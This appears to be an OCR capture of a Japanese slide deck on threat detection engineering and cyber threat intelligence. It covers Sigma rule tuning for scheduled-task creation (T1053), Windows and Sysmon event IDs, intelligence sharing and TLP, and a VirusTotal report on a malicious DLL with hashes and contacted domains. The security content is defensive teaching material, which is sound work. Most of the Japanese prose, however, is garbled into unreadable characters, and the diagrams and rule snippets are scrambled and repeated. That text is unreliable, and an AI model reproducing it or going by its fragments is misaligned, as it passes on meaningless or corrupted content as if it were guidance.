FlE (Procedure) (SFBU. ETR(CHT BUCTHABIREIMRIIMA > MZEIFETD. RS L. BIiEEZEDHDEH. BRINL—IL
DIBTER RIS E) SARKNRA > hablEE ZIRFT I Do

925 (=D3EFTILDERR)
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« STPHEER®Q : D3EFTILICKBERFERIRMIL—ILDBE L NE

- Stepl : D3EFILDIBE
— D3EZ /L : Detection Decomposition Diagram
o BMIRAYIDERMS., 0S - SRXFTALOEHZEEIBL., RABJEEIRNRT > bZEEtR{IET3ETIL
« D3EFIICKDAIREZEITDZET. BEARN(CAZER I NESHIBEILEND,

— JRAR—=(C. [T1053 : Scheduled Task Creation Via Schtasks.EXE| ®DD3EF)L%=ER,
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OO R{ER
Sysmon EID 1 (U)
Windows EID 4688 (K)

@I RDER%
Windows EID 4698 (A)

GOULSANUAT ST MERL
Sysmon EID 12 (K)
Windows EID 4663 (K)

@FS 1—)indrAdr
Sysmon EID 7 (K)

®I 7 1 ILER
Sysmon EID 11 (U)

BHRD

PowerShell(C &
DR -—)L

UE—bH
LA KU

al="

Q
X
o

AT

schtasks.exe

[ES7321TED

Image
psl.exe

Image

schtasks.exe

Image

schtasks.exe

Image

notepad.exe

>R
ITaskFolder::
RegisterTask

A RADYERY
Task Created

V>R
schtasks.exe
/create /tn
“calc.exe” /tr
“calc.exe”

A XDYERY
Task Created

A XIYERY
Task Created

A ADYERY
Task Created

LSAKNY
HKLM¥SOFTWARE¥
Microsoft¥Windows
NT¥CurrentVersion
¥Schedule¥TaskCac

he¥Tree¥

HKLM:¥SOFTWARE¥Mic
rosoft¥Windows
NT¥CurrentVersion¥Sch
edule¥TaskCache¥Tasks

an
L>XABMU
HKLM¥SOFTWARE¥Micr
osoft¥Windows
NT¥CurrentVersion¥Sch
edule¥TaskCache¥Tree¥

Module Load
Regsvc.dll

Module Load
Regsvc.dll

Module Load
Regsvc.dll

Module Load
Regsvc.dll

TJ71)
C:¥Windows¥
System32¥Task
S

C:¥Windows¥Ta
sks

File
C:¥Windows¥
System32¥Task
S
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- STPHEGQ : D3EFTIVICKBEBRERIRIMIL—ILDIEE L=

ENIRARFNIRA > BDIFE

« Step2 : BRI > FOIFE
— D3IEFILMS., BINA > hEEFET D, ECZIEINIL. Detection EngineerD¥HIF(C KB

@FOZ @A O{Frk QL ZARUATZIT I M @FES 1 —I)isdAdH ®F 71 ILAER
Sysmon EID 1 (U) Windows EID 4698 (A) Sysmon EID 12 (K) Sysmon EID 7 (K) Sysmon EID 11 (U)
I& % 73\ | 0 jj\ b @JE‘E I Windows EID 4688 (K) Windows EID 4663 (K)
SR —T3. IERRDIES N
N> F
(L j (/ \t E nafiéné 7_ ITaskFolder:: FADER
. RegisterTask Task Created

&, BEEOERRN S
HACZ<D /A XER
HEAFELET DEEEMEN D
Do - COORRITTE, —BPDIEZRIN TEIR\EIEEMED D

(5]
he¥Tree¥
C:¥Windows¥Ta

”P HKLM:¥SOFTWARE¥Mic sks
L\ rosoft¥Windows
~X In HAIER NT¥CurrentVersion¥Sch Module Load

in Task Created edule¥TaskCache¥Tasks Regsvc.dll
P&

N

schtasks.exe 5 ZER Module Load

/create /tn
“ealc.exe” /i Task Created Regsve.dll

“calc.exe”

schtasks.exe

schtasks.exe

LA+ 'J File
Image B AIERL HKLMYSOFTWAREY M Module Load C:¥Windows¥

notepad.exe | Task Created B N Regsvc.dll System32¥Task
edule! ¥T kC h ¥T e¥ S

IESRITE)
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» STPHEERQ : D3EFTIIC KL BEBERRIIL—ILDIBE LE

BRSPIL—ILDiRES

- Step3 : BRIIL—ILDI%5T
— {RLVABEME (False Negative) ZiRF UL DD, BIXIDIAREE (False Positive) Zigo L. DififaEZ=
=D, BRINL—)IL (Exclusion) ZiENNT D,
— SIGMADZA. filterto> 3> TN TULEARAETH . BFRINL—ILICHEHT B,

— BU. BRINL—ILEEZEEINSAEEERZDITTCUER DD, WEENRE - TSI ENEHL L,
BRUDSWETERINL—ILZERT DHEND D,
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o BRI —ILOEEFMECE + DIETILVZFAT DL, RRIAMDWEZITDO T EBORELTRD

- ONEE #1 : OriginalFileName®#IA (3UV)

— SYSMON EID1®DL O— R® [OriginalFileNamel] &WS T —JLRAGD D, PEAVHS (T U TZEZESE T 3.
TJ7AIZEEZEBUTCEPENYVADBIIEZEETINT. [SXFTACEZEFIHSFIEL TLVEWY —)LHEE (CEE
IIEANE] E£1RB,

— {BIEZ : OriginalFileName|contains: 'schtasks’

i 18 1 :
ANk, SYESmon ogsource
19 category: process_creation
48 440 ] product: windows
21 detection:
b C 22 selection:
ch;c:lss jea 23 Image |endswith: '\schtasks.exe'
ue_ame' 24 CommandLine|contains: ' /create '
UtcTime: 2024-12-29 04:50:35.078 . .
) 25 filter_main_system_user:
ProcessGuid: {c2df7f2a-d51b-6770-2a67-000000004000} . .
" 1d: 2904 26 User|contains: # covers many language settings
rocessid. ) 27 - 'AUTHORI'
Image: C:¥Windows¥System32¥a.exe - ' AUTORT"
FileVersion: 10.0.22621.1 (WinBuild.160101.0800) o . . .
o ] 29 condition: selection and not 1 of filter_main_*
Description: Windows Calculator .
_ _ ) 3@ falsepositives:
Product: Microsoft® Windows® Operating System .. . .
: . 31 - Administrative activity
Company: Microsoft Corporation
OriginalFileName: CALC EXE 32 - Software installation
CommandLine: a.exe 33 level: low
CurrentDirectory: C¥Windows¥System32¥
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o RFL—ILOEZEFMESE + DIETIVZFIAT D& RAMDREZITD T EHEaREE/RD,

« EYEE #2: EID4688DFIA (3K)
- JOtR{EMzZRERY BEID 4688 (A hDERFRY : K) ZFIAT 2.
— EID4688%ZfE\). N> RS> (C/createNEENTIL—IL (DIFDBEFE @ 3) 2RI D,

lal Event Properties - Event 4688, Microsoft Windows security auditing. - DT ORI @I AIVER GLIARIAT ST MER @EZ1—)VEFRFHAFH ®I 7 1 IUER
R Sysmon EID 1 (U) Windows EID 4698 (A) Sysmon EID 12 (K) Sysmon EID 7 (K) Sysmon EID 11 (U)
General | Details | Windows EID 4688 (K) Windows EID 4663 (K)
| = s
A new process has been created. A Y i
P 3 AL vk
R . 5 AIVER,
Subject: GinX ITaskFolder::
) AN RegisterTask Task Created
Security ID: ADPERP\administrator R D FeRErEE
Account Name: adrinistrater % 3
Account Domain: ADPERF = o
Logen ID: 0x22D092 e
P Informati L7
rocess Information: ya —
Mew Process ID: Ondde | ~ HKLI’MEOZH_IUVERH M%dUIe L(;)”ad 7)_"(”/
Mew Process Name: Ch\Windows\System3D\wscript.exe ] H;' in Microsof¥Windows egsvc. C:¥Windows¥
Token Elevation Type: TokenElevationTypeDefault (1) g - NT¥CurrentVersion System32¥Task
Creator Process ID: OxBdc ¥Schedule¥TaskCac s
Process Command Line:  "CAWindows\System32\WScnpt.exe™ "Ci\systemnfiles @ he¥Tree¥ .
\temp\commandandcontrolzone\fifthward\ntuserrights.vbs” N C:¥Windows¥Ta
F‘ | HKLM:¥SOFTWARE¥Mic sks
: : | freWind
Token Elevation Type indicates the type of token that was assigned to the new process in & H Image HRAOER (T e Module Load
accordance with User Account Control policy. » @ schtasks.exe Task Created edule¥TaskCache¥Tasks Regsve.dll
X
Log Name: Security
Source: Microsoft Windows security  Logged: 9/8/2013 4:06:00 PM g
)
Event ID: 4688 Task Category: Process Creation § Image schtasks.exe 52 IVER Module Load
- ! ; : 7] /create /tn
Level: Information Keywords: Audit Success B schtasks.exe “calc.exe” /tr Task Created Regsvc.dll
User MN/A Computer: BLUE-FILES.adperf.contoso.com ] “calc.exe”
wn
OpCode: Info
More Information:  Even ine Hel
2 LIR U File
5 Image B AIVER HKLMYSOFTWARE¥ Micr Module Load C:¥Windows¥
: _ o o notepad.exe Task Created I e I Regsve.dll System32¥Task
| copy | | Close | | HH edule¥TaskCache¥Tree¥ s

https://learn.microsoft.com/ja-jp/windows-server/identity/ad-ds/manage/component-updates/command-line-process-auditing
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BRAL—ILDEEFHEESE + D3ETILZFAITDE. RIADREZITD I EEARELIRD,
tESR #3 : EID4698MDFIA (4A)

[RT 21— )LIRADDIERE sCER] 3 DEID 4698 (AR hDEEN 1 A) (F. YRDORATZ1—)LADDLLZ

FMAUERT >3 —ILF XD DVERITE CHEERTEE,

—7. HEOLLZFRAR T (CHRTZATZ1—-)LUTIEE. OJ ER SR,

TDIEH. HETETDANRY MI—HBCRSNDIZ8D.
BEFARCHBEUEHANE] &732D;

Sysmon EID 1 (U)
Windows EID 4688 (K)

BDARTZa1-IL
FRAD

PowerShell(Z &

UE—K~
LoX kY

GRD
ATTa1-3

schtasks.exe

L7247

Image
schtasks.exe

schtasks.exe

notepad.exe

YAEAS
vy (1

A& T4A] ([Z18B.

QIR QLSARUATSIU MER
Sysmon EID 12 (K)
Windows EID 4663 (K)

Windows EID 4698 (A)

N>k SROER

ITaskFolder::

RegisterTask

Task Created

LAY

HKLM¥SOFTWARE¥
Microsoft¥Windows
NT¥CurrentVersion
¥Schedule¥TaskCac
he¥Tree¥

HKLM:¥SOFTWARE¥Mic

B ZIVERR rosoft¥Windows

NT¥CurrentVersion¥Sch
Task Created edule¥TaskCache¥Tasks

schtasks.exe S R2IVERR

/create /tn
“calc.exe” /tr

Task Created
calc.exe”

LAY

HRIVER HKLMYSOFTWARE¥Micr
osoft¥Windows

Task Created NT¥CurrentVersion¥Sch

@FS1-IERHAH
Sysmon EID 7 (K)

F

(5l : at.exezZFAULUIEHBE

®F 71 IAFL
Sysmon EID 11 (U)

System32¥Task

C:¥Windows¥Ta

=

System32¥Task
S

[ KIE(CRIRDERRZTITORIITNEER TS ENEH UL I’
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o RFL—ILOEZEFMESE + DIETIVZFIAT D& RAMDREZITD T EHEaREE/RD,

- WEERE#4:AT7>I0 MERODERO (5U)

Sysmon EID 11 (A X> bDEREME : U) ZH0REL. UTFORKIL—ILZ/EMRT D,
« TargetFileName |contains: 'C:¥Windows¥System32¥Tasks'

- J7AILICER T DHmE.

« TargetFileName |contains: 'C:¥Windows¥Tasks'

- N TEDKDRRERTEERITSHRNINE

S

DATZa-)L

=

HRAD

PowerShelll

UE—h
PETIND

-3

Q
X
')

A3

schtasks.exe

L1458

OTOEXER
Sysmon EID 1 (U)
Windows EID 4688 (K)

aN>R
ITaskFolder::
RegisterTask

Image
schtasks.exe

schtasks.exe
/create /tn

“calc.exe” /tr
“calc.exe”

schtasks.exe

notepad.exe

QIR

Windows EID 4698 (A)

B2 IVEBL
Task Created

B X VEBk
Task Created

5 2AOVEBL
Task Created

X IVERR
Task Created

LI RY Module Load

HKLM¥SOFTWARE¥ Regsve.dll
Microsoft¥Windows

NT¥CurrentVersion

¥Schedule¥TaskCac

he¥Tree¥
HKLM:¥SOFTWARE¥Mic
rosoft¥Windows
NT¥CurrentVersion¥Sch Module Load

edule¥TaskCache¥Tasks Regsve.dll

Module Load
Regsvc.dll

LAY
HKLM¥SOFTWARE¥Micr Module Load
frow Regsvc.dll

osoft¥Windows
NT¥CurrentVersion¥Sch
edule¥Ta he¥Tree¥

@FS 21— IEHAY
Sysmon EID 7 (K)

EDAZNREELIRDEANE] L7132D.

BLSARIAT ST MFB
Sysmon EID 12 (K)
Windows EID 4663 (K)

O 7 A WAE

Sysmon EID 11 (U)

274
C:¥Windows¥
System32¥Task
s

C:¥Windows¥Ta
sks

File
C:¥Windows¥
System32¥Task
s
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BRAL—ILDEEFHEESE + D3ETILZFAITDE. RIADREZITD I EEARELIRD,

BER #5: AT STV MERODERD (5K)
- L2XAKUICEEHTBHBE. Sysmon EID 12 (AR hDERFEM 1 K) ZDHHRE L. LUITORIIL—ILZIER T D,

« TargetObject |contains: 'HKLM¥SOFTWARE¥Microsoft¥Windows NT¥CurrentVersion¥Schedule¥TaskCache¥Tree¥'
« TargetObject |contains: 'HKLM¥SOFTWARE¥Microsoft¥Windows NT¥CurrentVersion¥Schedule¥TaskCache¥Tasks¥'

EDARZNREELIRDEANE] L7132D

U,

[EDLDIREERTHRITSHRNINE

S

DATZa-)L

=

HRAD

PowerShelll

UE—h
PETIND

-3

Q
X
')

A3

schtasks.exe

L1458

OTOEXER
Sysmon EID 1 (U)
Windows EID 4688 (K)

aN>R
ITaskFolder::
RegisterTask

Image
schtasks.exe

schtasks.exe
/create /tn

“calc.exe” /tr
“calc.exe”

schtasks.exe

notepad.exe

QIR

Windows EID 4698 (A)

B2 IVEBL
Task Created

B X VEBk
Task Created

5 2AOVEBL
Task Created

X IVERR
Task Created

BLSARIAT ST MFB
Sysmon EID 12 (K)
Windows EID 4663 (K)

LI RY Module Load

HKLM¥SOFTWARE¥ Regsve.dll
Microsoft¥Windows

NT¥CurrentVersion

¥Schedule¥TaskCac

he¥Tree¥
HKLM:¥SOFTWARE¥Mic
rosoft¥Windows
NT¥CurrentVersion¥Sch Module Load

edule¥TaskCache¥Tasks Regsve.dll

Module Load
Regsvc.dll

LAY
HKLM¥SOFTWARE¥Micr Module Load
frow Regsvc.dll

osoft¥Windows
NT¥CurrentVersion¥Sch
edule¥Ta he¥Tree¥

@FS 21— IEHAY
Sysmon EID 7 (K)

O 7 A WAE

Sysmon EID 11 (U)

274
C:¥Windows¥
System32¥Task
s

C:¥Windows¥Ta
sks

File
C:¥Windows¥
System32¥Task
s
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3-5 : How to build Robust Detection Rule

o STPEFRDFI LD
- BRAL—ILOEEFHMbFSEZFAE LT, MRADOERFE M & EE/ (CFHMIT D,
— D3EFTILVZERL. BERIAIIL—ILZIER - tiET D

7

EID 4688
Sysmon EID 1 Sysmon EID 12
ELD g Sysmon EID 11 EID 4663
Sysmon EID 7
Lv. 5: Core to Sub-Technique or Technique =
(HIFOZvozad) REFEDDMHEH/\— == il
Lv. 4: Core to Some Implementations of (Sub-)Technique ,
(HIFo=y I%ED) KEFEHRD—E%7) — B3
Lv. 3: Core to Pre-Existing Tools or Inside Boundary — <
B DY — )L ZE o (4 PP S R 41 s
Lv. 2 : Core to Adversary-Brought Tool or Outside Boundary
WEENFEIAALY —)L X (INEPRIR
Lv 1. : Ephemeral Values -
— B M EADSIGMAIL—)L

L“r7
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4-1: FE8H

« BEATUSIADERLIE?
- BHEHCEDE, BEICET3IREZ. INE - iIT - KBS - 5 - 247 - BRI DS &o

- [BREA>>TUSI>A] OBN
- [KDBE (GhESN - HEN) REeF1VUFTs UROER]| Dz
— BU. BEiIFEE [BIETERVER] THD., €D, MZIMBDCEIKELN. [UXROEIBDE
Eitl . 2UT [BBEINERT D] EOWSHBIMNSHNIBWKS ISEREITINEND B,

« BRADTUSIADNHE - BIEINRETEH
— [HCE>TERIDBEHRZEIRETDIN? ] . TREIRSEHF(EIMAN ? | ZHERT D,
— Strategic - Operational - Tactical
— 4AZF (Accurate - Audience-Focused - Actionable + Adequate Timing)
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4-1: FE8H

« Tactical Intelligence:
— &R SOCHEHIZAMITDA>FTUT X
- NE:
- WECHRA=NIZTED - st/ EZec. HADTF1 VT ERZNETDIHICHATD
1>7U2>1T>2X

- SHEARZE:
— IOCOES : ERICHEEUCBR - WBFEZIFTE T DT DHAHITEIEH
— IOCODOUNETE - FIRRAE - VR T5E
- F—7J—R) 2FfEfHDIndicator. Pyramid of Pain. Enrichment. Pivoting. YARA ---

STEP 2 : &¥fi - 24 - FEX{E STEP 3 : @A - Bifh

IOCDZF=M E12DT —H G I D, o BHUSUET —HONVFR - 440 - XSS « 10CZ=HHAIgERZIN (il 1 YARA) 73 &
HSHEE. U D 2 18580 %D, FRMEN D DN Ml - DFZEITD, (CUT. FB - &F0 - MISICFIBLIZD.
- OSINTZ! « DT —HERSEDECRELTSER A>2FUDT> A2 55+ ([CBefmL

SIGINTZ! WHMRET 9 D, =h9 3,
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4-1 :

=)

« Operational Intelligence :
- MR tF2UT 7—FF0 b - BIEFEH - SOCHIEZRAITDA>FTUST X

NE :

- WEEDOTIOT71)L (Intent) . I¥E

& (TTPs - Capability) 7R ENEBZIRFR L. FRHA~HHA

NRAtEF1UTARECERAIDIM>FTUZT X

- SHEAIEC L :

TTPs
MITRE ATT&CK I L —ALD—2

MITRE D3FENDJ L —AD—72
MITRE ENGAGE L —ATJ—72

Defensive Architecture
Threat Research
Threat Hunting
Summit The Pyramid

Capability

1

‘ Evasion capability

Detection capabilit
/ pability

Vs
Detection gap

» Time



4-2 : BR1 > U1 RAOHF

BRA >TUSITADHE (Threat Intelligence Sharing)

- HEIDIEE:
— “Need-To-Share”®|&HI

- B CETCOA>FTUS TR ZH)I\—FBZEEFE#H UL, ZDIESH, A1>F7FUDT RO "7+
(IC : Intelligence Community) Z#8k L. DE(CILU TBHRABZITDOZENEFTLL,
— ZDOUEICT(Z. ftttiEikz/aA T dRE. BHDEHRZHETD [HE] OZBENNELRD,

- HBEINRZTEEH:
— IOC (Indicator of Compromise) . IOA (Indicator of Attack)
- HETIA—Ywv b (YARA - SIGMA etc.) ODBEMRNLEFXRUL. CSVTEHRHBURIEDHERLY,

- HEAHE:
- d=Z31°"7+ - s THBEITD
— (BRUISACIRE) A>T USI > RAZ21 5T HMAHEEBETZ TSV N IA—LZFIHTS
- BRA>TUIUZSTI>RATSY hIA—LA (TIP) =FIHT B,

« MISP : https://www.misp-project.org/documentation/
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4-2 . BRA T U T ADHE
BRA >TUSITADHE (Threat Intelligence Sharing)

- TLP (Traffic Light Protocol)
— “Need-To-Know”DJR Al

— [BERPEBEFEEIEEIDIOMIDILEUT, TLPAEITSENSD, CoTJO RILAAEYICSFSNBZ ET.
ICOAI)\—FZLZLUTIBHREZHRIT DS ENBIREE 1D,
— https://www.first.org/tlp/docs/v2/tlp-v2 ja.pdf

« TLP White  sEETEHABTE (=2RIBH)

- TLP Green =1 ">« RO THBER&E

« TLP Amber . (H23wENDD) BEGREHEBEARAS /(- + ZOBEE CHBOEE
« TLP Amber + STRICT . (M23wENDD) BEGREHEERAS /) \—THABT]EE

« TLP Red . {EZEH DI (For Your Eyes Only)

154


https://www.first.org/tlp/docs/v2/tlp-v2_ja.pdf

4-2 : BR1 > U1 RAOHF

Confidence Level + Estimative Language :

s BRATUDTIXRE. BERNICAEERERZINDICH. HE (Certainty) . DED [HEHE
DENEG] ZIEUKKIRITDICENEEERD,
— Confidence Level :
- WEDODHBZFEDSZEICKD. DHBENERD [HEE| ZIEE(CGADZENTED.

High Confidence BEOEFECTCEDYV—RZEEIC. BRATUZSTI O RZEHRLUTNDT—X

EFETEDYV—RXREAM—U—DOFREEICEDNT, BRIM>FTUZT > X%ZERHR LTS, B
L. "High Confidence” &9 3 (FEDME EETIMNEMNTULVRWWVT —X

Moderate Confidence

Low Confidence E5EM EGRIBE(IC—EP5E RN DD SN BREN TS D, DEWNERMITHRR,

Percent

. . Almost Very Very Almost
— Estimative Lan g ua g e. no chance unlikely  Unlikely Roughly even chance Likely likely certainly

- [HESFE] LEFEN. /X2 bD
HREWERZERIRT D

0 20 40 60 80 100
Highly Highly Nearly
Remote improbable Improbable Roughly even odds  Probable probable certain

https://www.dni.gov/files/documents/ICA 2017 01.pdf 155
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tANDIANT tANDIANT

wow earr or Google Cloud wow earr or Google Cloud

BLOG BLOG

Hacktivists Collaborate with KilINet Showcases New
GRU-sponsored APT28 Capabilities While Repeating
Older Tactics

SEP 23, 2022 | 9 MIN READ | LAST UPDATED: AUG 10, 2023
MANDIANT INTELLIGENCE

JUL 20, 2023 | 11 MIN READ | LAST UPDATED: JAN 08, 2024

Executive Summary #THREAT INTELLIGENCE  #RUSSIA

e Mandiant is tracking multiple self-proclaimed hacktivist groups working in support
of Russian interests. These groups have primarily conducted distributed denial-of-
service (DDoS) attacks and leaked stolen data from victim organizations. Although
some of these actors are almost certainly operating independently of the Russian Key d Udg ments
state, we have identified multiple so-called hacktivist groups whose moderators we
suspect are either a front for, or operating in coordination with, the Russian state. ¢ Mandiant Intelligence assesses with high confidence that operations for which the
pro-Russia hacktivist collective KillNet has claimed responsibility consistently

We assess with moderate confidence that moderators of the purported hacktivist mirror Russian strategic objectives, although we have not yet uncovered direct

Telegram channels “XakNet Team,""Infoccentr,” and “CyberArmyofRussia_Reborn’ evidence of the collective’s collaboration with or direction from Russian security
are coordinating their operations with Russian Main Intelligence Directorate (GRU)- SEREES

sponsored cyber threat actors. Our assessment is based in part on the deployment

of GRU-sponsored APT28 tools on the networks of Ukrainian victims, whose data Mandiant assesses with moderate confidence that the collective's regular creation
was subsequently leaked on Telegram within 24 hours of wiping activity by APT28, and absorption of new groups is at least partially an attempt to continue to garner
as well as other indicators of inauthentic activity by the moderators and similarities attention from Western media and to enhance the influence component of its

to previous GRU information operations. operations.

www.mandiant.com/resources/blo [ ram-minions https://www.mandiant.com/resources/blog/kiIInet-new-capabilities-older-tactics156
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4-3 : 551&I(C

« BEATUIIANDEBENREDIULETULLSH?
- [BREA>FUSIIR] G SBREA - BEMI0T Iy 02ERL TV HEEEER] HR8MTY.,
- HO. J7EIT BATRN - VDI TR - TAL DY etc) DFBCEDE T, EDLD CHMERE
7RIy FUTWK DN BREZDHTL THEICRIIT TV O EN S EBRRBEFVRHM L THTIIZE 0,

- O, BRI 2FTUSIDAICOVWTHEHKZF O TLWEEFNXELWTT,
- BEANS, BEOHEL. ATYS I TERA>CTUSIDROETEA/N-FBT LB TEELATLRE,
- ERBEEXMELT. [BEASTUSIDIOBERE] OROSEXEREZHTATH TS (Appendix A)
— ARBEEIRBATICEZ PLICTBALE LN T EFHENLDBRANTEY. ERERERERX CREIIL—T
ZHTE S BAtributionf iR EBEFELET. FU. T35 UIERKMIC DN TEREDSBNEELSATH TS,

Happy Cyber Threat /ntelligernce!
7ry Harder!
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Appendix A : SZE3k

UTFCESEZRUET .

- HE - -ZwMTHATETRIVY—-XZHLICEH U TLET,

«  YouTube/k ERNR A — MBI IEED I T YNLSHH DD TEESDFAEEMRET L TLIEE0),

- EE BEA>FTUIADOHERBE] FliEEmtt) THBITUTWDISEXE. BIUOREBETRERNTULRSEX R EE
—EfEER L CLE T,

BEA>FTUS IO ALMEFES :
. [BREA>FTUT O AOHERE]  (BitETamtt)
[>T REFEBA 27T RLARR] (AU —%1)
rzEaA 7)) > 28 N - EHAA 4] (IPA RRAMBERTOT S A - HBE)
[The Intelligence Handbookll (Recorded Futureft - ##{&)
[Effective Threat Intelligence: Building and Running an Intel Team for Your Organization/
[Practical Cyber Intelligence: How action-based intelligence can be an effective response to incidentsl] (Packttt)
[Operationalizing Threat Intelligence: A guide to developing and operationalizing cyber threat intelligence programsJ)l (Packttt)
[Mastering Cyber Intelligence: Gain comprehensive knowledge and skills to conduct threat intelligence for effective system defense] (Packtft)

CISA - MITRE :
+  CISA - MITRE(FLEEBIERRNA Z2 7757« T &7 CLBDTEMNICFIVIITD I LR LFT,
- MITRE(d. BEE#EH - TEMEBEHIIRX THE<HHKXDIBIRINEDEMNLND XTI,

« MITRE Engenuity https://mitre-engenuity.org/
« Center for Threat informed Defense https://github.com/center-for-threat-informed-defense
 EU MITRE ATT&CK® Community https://www.attack-community.org/
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https://mitre-engenuity.org/
https://github.com/center-for-threat-informed-defense
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Appendix A : &E3Ek

+  YARA - SIGMADERZFH :
— BFFDYARAJL—JL « SIGMA)L—)LZFZFZO DN A X XA,
— 45(C. CISAY°DFIR REPORT(If##THEERE EYARAZ —#E (CHRER U T NBEHICEDBEHF ™I LTI,
— YARAD LR MJ(FZEHHDEIN. KAERMNRBOZEUTISTRUET,
« https://github.com/Yara-Rules
https://qgithub.com/JPCERTCC/jpcert-yara

— fl) CISA Cybersecurity Advisory :

PAURERETA/N\—tFa1 U5« - HEEBLRERET(E. FRLABIRB(CDOWTHERLIR— b - DITHER - YARAREZIRHU
T<NTWLFET,

e https://www.cisa.gov/news-events/cybersecurity-advisories

— {1) DFIR REPORT
e https://thedfirreport.com/
https://aithub.com/The-DFIR-Report/Yara-Rules/
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Appendix B : EOCZ/ER UcEEAIL

- EOC (Enabler of Compromise) : f#RDME - RE(C DM B HMTH4FIEIEER

— ) REsslE - SREAE - 70> hOAE - IRE /X (Attack Path)

— COUEBHRZESRICIEEL. MRZEDDLEITTRIUTDOXISIFERANEZSNSD,
- ) WERDEBXEZDITD
o ) FEHENDIFOERF IR O=ZIEET D
o ) BRARABEDSFIABEICHATSD (EOCZEAHU TEASNDEEENASVDT, HXSFTUAZIED)
o ) BE\>T A D ORFSENINRESI T+ T4 7T D

— £&3&) https://github.com/TactiKoolSec/OTHF (FH&RFFa1XA> MIT. EOCEWDHIENEIZ L TULD)

. cf. I0C&I(E? (Indicator of Compromise « EEIEIE)
— RRICREURCBR - REFEZEFTE I DODEMBFEEHR (=20 _F+v)
o ) J\wZ 2B - IPVRLXR - RAA2%E - RILD T 77HPCLEICERDIEN (B : L KU)

<IOC vs. EOC>

Indicator of Compromise Enabler of Compromise

= ?éﬁ%(:%ﬂfbt%ﬁ * I&%?iﬁ%#ﬁﬁ??% 1|57 52 , 2= NN e IMHEIEE

ZE (DR RS54

B B - T KRR



https://github.com/TactiKoolSec/OTHF

Appendix B : EOCZ/ER UcEEAIL

- EOC (Enabler of Compromise) &EFRFixX (FEHI)
« B-1 : Vulnerability
— BE55MER1KIX. Cyber Hygiene (B /\—E4%) ZHERI DICOHDEELRRA T,
— AXIRTIE. BELDIRSEENS EDKD(C/I\YF - Moz T DHESEEZEET DMNCDODNWTERLUE T,

- B-2 : Attack Path Management
— IRE)(R (Attack Path) &, WEBN S AT LDERZEBRAITICHICTZED)I\RZHRENCRIRLIZED
- WE)(RZFHITDIZET, ERICREZZITOITVIRK - —)NBEEZDITDRZENTED,

- B-3: EASM (External Attack Surface Management)
— IREXISRMEE, (Attack Surface) &(3. SEPDREENSH CIREDJREIRBEHEBOERE - BlRZEKRT D,
» Fl) NPT —/NDR— b 21/telneth' BV TLD IR E

« B-4 : Active Directory Posture Management

— Active Directory(d. IRETHBIFR(CKSIBONDIZs. HkfkhY(CActive DirectoryDIAREETE (Posture
management) Z{7D & T, iGN (CIRREZF TV I T D,

KDFE UK (E. [Internet Week 20221 (CTEBUIELUUTOEEER ZCSBEE0),
— https://www.nic.ad.jp/ja/materials/iw/2022/proceedings/c45/c45-ishikawa.pdf
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Appendix C : VirusTotal D HEREE T3

« VirusTotal DEARNRGFTHEREZ HIILLTO@ED,

(D 64/72 security vendors flagged this file as malicious C Reanalyze = Similar v~ More VvV
dc030778938b8b6f98236a709d0d18734c325accf44b12a55ecc2d56b8bb9000 Size Last Analysis Date 00
VirusShare_3c4de20e464146bec844471867bd1628 68.00 KB 2months ago DLL
Commsunity -370 pedll spreader checks-user-input
DETECTION DETAILS RELATIONS ASSOCIATIONS BEHAVIOR COMMUNITY 22+
=
DETECTION BAVI> 22 KDREIRI EARFNE
DETAILS BARDTOI T+ 1B, ANYHIER. /\vSaME. A XEDM,. &Y - BIROERR
HEF. J7AILEEFEXANETET 7 1ILOIEFAIC LD TEED
RELATIONS BEE 9 D1EELBEHREF
ASSOCIATIONS FE T DET)L—TPIOCIRESE
BEHAVIOR FRVRENERS (SRR ST D 7 1) L1 B (C B 9 D FHRF
COMMUNITY BRARCHITDIOAA S (Bl : VH—F v —(CLKDIA> EF)

https://www.virustotal.com/gui/file/dc030778938b8b6f98236a709d0d18734c325accf44b12a55ecc2d56b8bb9000/ e



DETAILSTHEER U CTH K NANEBER

Appendix C : VirusTotal DA fEE 75

I\ > 1 {EIER

7 A )ERE> YA X

BiEEE
(VINDOEEREE - F#TEE)

VTEERIFD D 7 1 )L%&

DETECTION DETAILS

Basic properties ©

MD5

SHA-1
SHA-256
Vhash
Authentihash
Imphash
SSDEEP
TLSH

File type
Magic

TriD
DetectltEasy
Magika

File size

History ©

Creation Time

First Seen In The Wild
First Submission

Last Submission

Last Analysis

Names ©

RELATIONS ASSOCIATIONS BEHAVIOR COMMUNITY 22+

3c4de20e464146bec844471867bd1628

32f5611459b9b63145895926b26f949d8ce7acT9
dc030778938b8b6f98236a709d0d18734c325accf44b12a55ecc2d56b8bb3000
164046651d5560b823272z69260101122bhz
fe7dbfcead01d9f3d92b0e790b582aa97680e08a3e78b7806511cf4224T7a5aTes
f689a921186af3457d79140d57e81982
1536:NI2LanYqTjKNvS0439aureEhOUqvvFkzLA/0Zd/:z40N0439aceiOUU/0Z
T1B7633B03B881E0F2C2E11BB176C56311F3F955A9B8B64E46EF6D1A497DF2687TAF12043
Win32 DLL  executable windows win32 pe pedll

PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Win32 Executable MS Visual C++ 4.x (T0%)  Win32 Executable MS Visual C++ (generic) (16.2%)

PE32  Linker: Polink (2.50*) [DLL32]
PEBIN
68.00 KB (69632 bytes)

2016-10-17 11:48:13 UTC
2016-12-01 04:57:28 UTC
2016-10-17 17:34:00 UTC
2024-11-30 11:27:15 UTC
2024-10-22 07:29:38 UTC

VirusShare_3c4de20e464146bec844471867bd1628
dc030778938b8b6f98236a709d0d18734c325accf44b12a55ecc2d56b8bb9000

dc030778938b8b6f98236a709d0d18734c325accf44b12a55ecc2d56b8bb9000.~

W
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Appendix C : VirusTotal DA fEE 75

° - EE N N ’ v
(=113 B
(D 64/72 security vendors flagged this file as malicious C' Reanalyze = Similar ~» More ~
64 2% Explore in Threat Graph
/72 dc030778938b8b6f98236a709d0d18734c325accf44b12a55ecc2d56b8bb3000 Size

VirusShare_3c4de20e464146bec844471867bd1628 68.00 KB 44 Learn how to automate via API

Communit

ScorZ -370 pedll spreader checks-user-input

DETECTION DETAILS RELATIONS ASSOCIATIONS BEHAVIOR COMMUNITY 22+

Contacted Domains (3) © =]

Domain Detections Created Registrar

leftthenhispar.ru 10 /94 -

gy reninparwil.com 9/94 2016-09-30 BIZCN.COM, INC.
w ~ -7 K
}R?I,"l'_l'j E '\>(/r s IPJ l\ I/ Z reptertinrom.ru 7/94 R

Contacted IP addresses (1) © 8]

P Detections Autonomous System  Country

204.79.197.203 1/94 8068 us

Execution Parents (8) © 8]

Scanned Detections Type Name

